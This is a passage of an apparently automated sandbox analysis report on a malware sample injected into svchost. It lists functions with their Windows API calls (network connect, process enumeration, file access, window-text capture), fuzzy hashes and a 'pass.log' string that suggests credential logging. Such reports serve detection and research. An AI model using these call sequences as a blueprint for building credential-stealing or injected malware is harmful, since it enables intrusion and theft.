                                                                                                                                                                                                            • WriteFile.KERNEL32(?,?,00140B17,02D28F97,00000000,00140B17), ref: 02D28700
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$HandleViewmemcpy$CloseCreateInformationMappingUnmapWrite
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3741995677-0
                                                                                                                                                                                                            • Opcode ID: 2d910dc9832589e3e5bb7e666130afd5cff54d8a77466fdfc97d70f6f8ac2471
                                                                                                                                                                                                            • Instruction ID: c8d229666bfa6e61fc134c489b1cbcb2e73103ca910986aeaf162e431ea96c66
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2d910dc9832589e3e5bb7e666130afd5cff54d8a77466fdfc97d70f6f8ac2471
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6131BCB2A00219BBD300DF98E880F6AF7B8FF68315F10821AE90497740D770AD64CBE0
                                                                                                                                                                                                            Function 02D190D0 Relevance: 9.1, APIs: 6, Instructions: 106networkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WSAGetLastError.WS2_32 ref: 02D190FE
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02D250A0,?,0000001C), ref: 02D1912F
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02D250A0,?,0000001C), ref: 02D1915B
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02D250A0,?,0000001C), ref: 02D19182
                                                                                                                                                                                                            • IsBadReadPtr.KERNEL32(?,00000004), ref: 02D191A4
                                                                                                                                                                                                            • WSASetLastError.WS2_32(?), ref: 02D191CE
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$ErrorLast$Read
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2835504744-0
                                                                                                                                                                                                            • Opcode ID: d5aa6415e3d2f32ec2615b46be2b6ba58daa1083a9e532fe6fae5f09632c07e0
                                                                                                                                                                                                            • Instruction ID: 54dc9fee6a3529715eb145e6f83ac03e27c8184df29a6d01390b8c42c8044375
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d5aa6415e3d2f32ec2615b46be2b6ba58daa1083a9e532fe6fae5f09632c07e0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5C41D8B5E00209AFDB40CFA9E995AEEBBF5FF48200F508569E909E7300E3749951CF90
                                                                                                                                                                                                            Function 02D30AF0 Relevance: 9.1, APIs: 6, Instructions: 100COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D30E50: htons.WS2_32(?), ref: 02D30E74
                                                                                                                                                                                                              • Part of subcall function 02D30E50: inet_addr.WS2_32(?), ref: 02D30E7F
                                                                                                                                                                                                              • Part of subcall function 02D30E50: htonl.WS2_32(000000FF), ref: 02D30E8A
                                                                                                                                                                                                              • Part of subcall function 02D30E50: gethostbyname.WS2_32(?), ref: 02D30E96
                                                                                                                                                                                                              • Part of subcall function 02D30E50: socket.WS2_32(00000002,00000001,00000000), ref: 02D30EB0
                                                                                                                                                                                                              • Part of subcall function 02D30E50: connect.WS2_32(00000000,?,00000010), ref: 02D30EC3
                                                                                                                                                                                                              • Part of subcall function 02D30E50: closesocket.WS2_32(00000000), ref: 02D30ECE
                                                                                                                                                                                                            • setsockopt.WS2_32(00000000,00000006,00000001,00000001,00000004), ref: 02D30B2F
                                                                                                                                                                                                            • closesocket.WS2_32 ref: 02D30B44
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: closesocket$connectgethostbynamehtonlhtonsinet_addrsetsockoptsocket
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2706992148-0
                                                                                                                                                                                                            • Opcode ID: bb44f2aa397946b6951278751fd685d72ee4f4fafa8aab18c84bac9da4559941
                                                                                                                                                                                                            • Instruction ID: 3293d64d038a7f634ce9664cc58fc030ee7634994d9323b96dde44df75c1d1dc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bb44f2aa397946b6951278751fd685d72ee4f4fafa8aab18c84bac9da4559941
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9131E170A00215BFD711CF68E844BEAB7A9FF14316F908256F614D6280EB719D60CBE1
                                                                                                                                                                                                            Function 02D02990 Relevance: 9.1, APIs: 6, Instructions: 87COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: callocexitfree
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3367576030-0
                                                                                                                                                                                                            • Opcode ID: 5fc4641af49eefefc238622a6c44650a3ebbdef26433579bdf0701521725b0db
                                                                                                                                                                                                            • Instruction ID: 1892e4ecd6c0b1fb2b34200fcecc905ecfedfc14966c3859ffc826db2d0c4dda
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5fc4641af49eefefc238622a6c44650a3ebbdef26433579bdf0701521725b0db
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 40213C75A413099FDB20CF59DCC9BAB77A8AB48314F044529FD4597350E771DD10CBA1
                                                                                                                                                                                                            Function 02D24EE0 Relevance: 9.1, APIs: 6, Instructions: 72windowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • MsgWaitForMultipleObjects.USER32(00000001,?,00000000,00002710,000004FF), ref: 02D24EFB
                                                                                                                                                                                                            • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 02D24F2C
                                                                                                                                                                                                            • TranslateMessage.USER32(?), ref: 02D24F48
                                                                                                                                                                                                            • DispatchMessageW.USER32(?), ref: 02D24F4E
                                                                                                                                                                                                            • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 02D24F5C
                                                                                                                                                                                                            • MsgWaitForMultipleObjects.USER32(00000001,?,00000000,00002710,000004FF), ref: 02D24F74
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Message$MultipleObjectsPeekWait$DispatchTranslate
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1800058468-0
                                                                                                                                                                                                            • Opcode ID: 75c64c888a26db7024f877132c9335c8bc969662930f68b5ce955e27f3ddda20
                                                                                                                                                                                                            • Instruction ID: 0b77993d2b4990243ad32369e8fb1f176f744be50ac48a2b0dae12300122a73e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 75c64c888a26db7024f877132c9335c8bc969662930f68b5ce955e27f3ddda20
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E311C476BC03156BE630DE98AC86FBE7769EB90B04F504811FF00EE2C0C6A1AC55C6A4
                                                                                                                                                                                                            Function 02D253E0 Relevance: 9.1, APIs: 6, Instructions: 67processCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D25407
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02D25415
                                                                                                                                                                                                            • Process32First.KERNEL32(00000000,?), ref: 02D2543D
                                                                                                                                                                                                            • Process32Next.KERNEL32(00000000,00000128), ref: 02D25460
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,00000000), ref: 02D25479
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,00000000), ref: 02D2548A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleProcess32$CloseCreateFirstInformationNextSnapshotToolhelp32memset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3955875343-0
                                                                                                                                                                                                            • Opcode ID: dcea7db9b6aed9af5dd8f03f2598db6e1a4b5f45851d0a9a8e3e1dec6bd3a3dd
                                                                                                                                                                                                            • Instruction ID: 825f2ff083abd64fe47a8165b01468d26e4decf03d5b3d744c9720b59e13724d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: dcea7db9b6aed9af5dd8f03f2598db6e1a4b5f45851d0a9a8e3e1dec6bd3a3dd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1511D376D01238ABD720DA64BC45BEEF7E8EB59329F940195E90CA3340D3705F59CAE0
                                                                                                                                                                                                            Function 02D12A90 Relevance: 9.1, APIs: 6, Instructions: 63memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetAncestor.USER32(00000000,00000002,?,00000000), ref: 02D12A9E
                                                                                                                                                                                                            • GetWindowTextA.USER32(00000000,?,00000104), ref: 02D12AB9
                                                                                                                                                                                                              • Part of subcall function 02D12260: memset.MSVCRT ref: 02D12277
                                                                                                                                                                                                              • Part of subcall function 02D12260: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,7591F550,00000000), ref: 02D1228E
                                                                                                                                                                                                              • Part of subcall function 02D12260: PathAddBackslashA.SHLWAPI(?,?,7591F550,00000000), ref: 02D1229B
                                                                                                                                                                                                              • Part of subcall function 02D12260: PathFileExistsA.SHLWAPI(?,?,7591F550,00000000), ref: 02D122D7
                                                                                                                                                                                                              • Part of subcall function 02D12260: lstrcpynA.KERNEL32(02D59F08,00000000,00000104,00000000,00000001,?,7591F550,00000000), ref: 02D12301
                                                                                                                                                                                                              • Part of subcall function 02D12260: GetProcessHeap.KERNEL32(00000000,00000000,?,7591F550,00000000), ref: 02D12310
                                                                                                                                                                                                              • Part of subcall function 02D12260: HeapValidate.KERNEL32(00000000,?,7591F550,00000000), ref: 02D12313
                                                                                                                                                                                                              • Part of subcall function 02D12260: GetProcessHeap.KERNEL32(00000000,00000000,?,7591F550,00000000), ref: 02D12320
                                                                                                                                                                                                              • Part of subcall function 02D12260: HeapFree.KERNEL32(00000000,?,7591F550,00000000), ref: 02D12323
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D12B17
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D12B1A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D12B27
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D12B2A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$Path$FreeValidate$AncestorBackslashExistsFileFolderTextWindowlstrcpynmemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 649337724-0
                                                                                                                                                                                                            • Opcode ID: fa3d455460b7578bab28aba85bc43125227b9acc47b97aa25f2a3b2b41280e12
                                                                                                                                                                                                            • Instruction ID: d9b6913beb272a53140f95cca87f45ddcd793b814b42e66a4757a62265828436
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fa3d455460b7578bab28aba85bc43125227b9acc47b97aa25f2a3b2b41280e12
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1D11E235A4836467DB305F70BC9CFA73BA99B11315F440950EC85973C0EBB29C44C6A0
                                                                                                                                                                                                            Function 02D0B880 Relevance: 9.0, APIs: 6, Instructions: 47synchronizationthreadwindowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02D0B88F
                                                                                                                                                                                                            • IsWindow.USER32(?), ref: 02D0B8B4
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D0B8C2
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32 ref: 02D0B8F7
                                                                                                                                                                                                            • IsWindow.USER32(?), ref: 02D0B8FE
                                                                                                                                                                                                            • SendMessageA.USER32(?,00000215,00000000,00000000), ref: 02D0B90E
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$CurrentMessageMutexObjectReleaseSendSingleThreadWait
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1675675969-0
                                                                                                                                                                                                            • Opcode ID: a09603ea31e7d9a741f6347fa8589140c5bb27db944e0b944e69aca1a10d28ab
                                                                                                                                                                                                            • Instruction ID: f9bb31548e57e7495ceb7996153acd2ba4998e58d215588a877a84dd78979fd3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a09603ea31e7d9a741f6347fa8589140c5bb27db944e0b944e69aca1a10d28ab
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4001CC35E44210EFD7158F24F808FEA73E0AB49728F050AA6E9049B3E1C3B16D52CF90
                                                                                                                                                                                                            Function 02D0CA20 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetWindowRect.USER32(02D0CB54,00000000), ref: 02D0CA2F
                                                                                                                                                                                                            • GetWindowLongA.USER32(02D0CB54,000000F0), ref: 02D0CA49
                                                                                                                                                                                                            • GetScrollBarInfo.USER32(02D0CB54,000000FA,?), ref: 02D0CA64
                                                                                                                                                                                                            • GetScrollBarInfo.USER32(02D0CB54,000000FB,0000003C), ref: 02D0CA91
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InfoScrollWindow$LongRect
                                                                                                                                                                                                            • String ID: <
                                                                                                                                                                                                            • API String ID: 4167475372-4251816714
                                                                                                                                                                                                            • Opcode ID: 97fe3512e668e89ed7557a866100e0666e4ce54bd217229bcf000dc0f361548a
                                                                                                                                                                                                            • Instruction ID: db5063b69f5f93dbdd6879eff6810eb2f21cd9de6c8cb4318a9d0bf56419db37
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 97fe3512e668e89ed7557a866100e0666e4ce54bd217229bcf000dc0f361548a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E631F574905B01AFC724CF6AD584A5AFBF5FB48314B508A1EE49A93BA0E730F850CF90
                                                                                                                                                                                                            Function 02D28B40 Relevance: 8.8, APIs: 7, Instructions: 75memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,0006AFB0,00000000,00000000,00000000,?,02D28FF4,00000000,00140B17), ref: 02D28B55
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,02D28FF4,00000000,00140B17), ref: 02D28B5C
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D28B6F
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,02D28FF0,?,02D28FF4,00000000,00140B17), ref: 02D28C1E
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,02D28FF4,00000000,00140B17), ref: 02D28C21
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,02D28FF4,00000000,00140B17), ref: 02D28C2D
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,02D28FF4,00000000,00140B17), ref: 02D28C30
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$AllocFreeValidatememset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 470506929-0
                                                                                                                                                                                                            • Opcode ID: d88348acd2ac446a33634405fb672065ab1cb74218eba111e8370bdbe3a27677
                                                                                                                                                                                                            • Instruction ID: 953411780472551b544477361dd54dc80928fca982fd83de942aadbc8a34fbc0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d88348acd2ac446a33634405fb672065ab1cb74218eba111e8370bdbe3a27677
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0221D6B1A017109FC720AF65D584A9BBFE9FF56758B00881DE55EDB301C734A845CFA2
                                                                                                                                                                                                            Function 02D07660 Relevance: 8.8, APIs: 7, Instructions: 64memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D07220: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,a3b7fb16a,76EDC3F0,?,?,02D122F0,00000000,00000001), ref: 02D07246
                                                                                                                                                                                                              • Part of subcall function 02D07220: GetFileSizeEx.KERNEL32(00000000,?,?,?,02D122F0,00000000,00000001,?,7591F550,00000000), ref: 02D07264
                                                                                                                                                                                                              • Part of subcall function 02D07220: GetProcessHeap.KERNEL32(00000008,?,?,?,02D122F0,00000000,00000001,?,7591F550,00000000), ref: 02D0728D
                                                                                                                                                                                                              • Part of subcall function 02D07220: RtlAllocateHeap.NTDLL(00000000,?,?,02D122F0,00000000,00000001,?,7591F550,00000000), ref: 02D07294
                                                                                                                                                                                                              • Part of subcall function 02D07220: memset.MSVCRT ref: 02D072A7
                                                                                                                                                                                                              • Part of subcall function 02D07220: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D072D3
                                                                                                                                                                                                              • Part of subcall function 02D07220: LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D072E3
                                                                                                                                                                                                              • Part of subcall function 02D07220: ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 02D072F2
                                                                                                                                                                                                              • Part of subcall function 02D07220: UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D07305
                                                                                                                                                                                                              • Part of subcall function 02D07220: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D07314
                                                                                                                                                                                                              • Part of subcall function 02D07220: HeapValidate.KERNEL32(00000000), ref: 02D0731B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000013,?,00000000,00000000,00000000,74E1A250,02D138FF), ref: 02D0769C
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D076A3
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D076B3
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,74E1A250,02D138FF), ref: 02D076D5
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D076D8
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D076E5
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D076E8
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$File$Process$Validatememset$AllocAllocateCreateFreeLockPointerReadSizeUnlock
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 4191958461-0
                                                                                                                                                                                                            • Opcode ID: c83ab1598bbc261ea71ae6ec6da8665b1dd4159198214c7ff9935ba1a901dbf0
                                                                                                                                                                                                            • Instruction ID: cc3595960e111b23ad44eb764c3854d664337e9bf80b01f84077f7c9f098fcf5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c83ab1598bbc261ea71ae6ec6da8665b1dd4159198214c7ff9935ba1a901dbf0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B211A076A0121467E760AEE9AC88F5BB7ADDB95B55F500128B909EB390CB70ED00C6F1
                                                                                                                                                                                                            Function 02D1F2B0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 54COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c5904bc), ref: 02D1F2D7
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(?), ref: 02D1F340
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashExistsFile
                                                                                                                                                                                                            • String ID: 5c5904bc$pass.log$\t
                                                                                                                                                                                                            • API String ID: 1760361154-3029588526
                                                                                                                                                                                                            • Opcode ID: c435c46f3ed74298d895b1e2f4937107643103225f51a70dd18affe509a235b1
                                                                                                                                                                                                            • Instruction ID: ff91f91d6aabf0bf5c50951a90947e107102a6355f57e7ce6d28866175659b7c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c435c46f3ed74298d895b1e2f4937107643103225f51a70dd18affe509a235b1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: BB11E1789042599FCB158B28B5286E77BE1AB86300B24C695E8CAC7B01EAB09D48C7C0
                                                                                                                                                                                                            Function 02D17270 Relevance: 8.8, APIs: 7, Instructions: 50memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D24550: OpenProcess.KERNEL32(00000400,00000000,00000000,00000000,00000000,76EBFFB0,?,?,?,?,?,02D173C7,00000000,?,00000000), ref: 02D2457D
                                                                                                                                                                                                              • Part of subcall function 02D24550: GetProcessTimes.KERNEL32(00000000,?,?,?,02D173C7,?,?,?,?,?,02D173C7,00000000,?,00000000), ref: 02D2459A
                                                                                                                                                                                                              • Part of subcall function 02D24550: GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,?,?,02D173C7,00000000,?,00000000), ref: 02D245B2
                                                                                                                                                                                                              • Part of subcall function 02D24550: CloseHandle.KERNEL32(00000000,?,?,?,?,?,02D173C7,00000000), ref: 02D245C3
                                                                                                                                                                                                            • EnterCriticalSection.KERNEL32(02D4FB80,000020FC,00000000,00000000,0081DF58,02D17534), ref: 02D17288
                                                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(02D4FB80), ref: 02D172A4
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,0081DF58), ref: 02D172C9
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D172CC
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,0081DF58), ref: 02D172D9
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D172DC
                                                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(02D4FB80), ref: 02D172E7
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
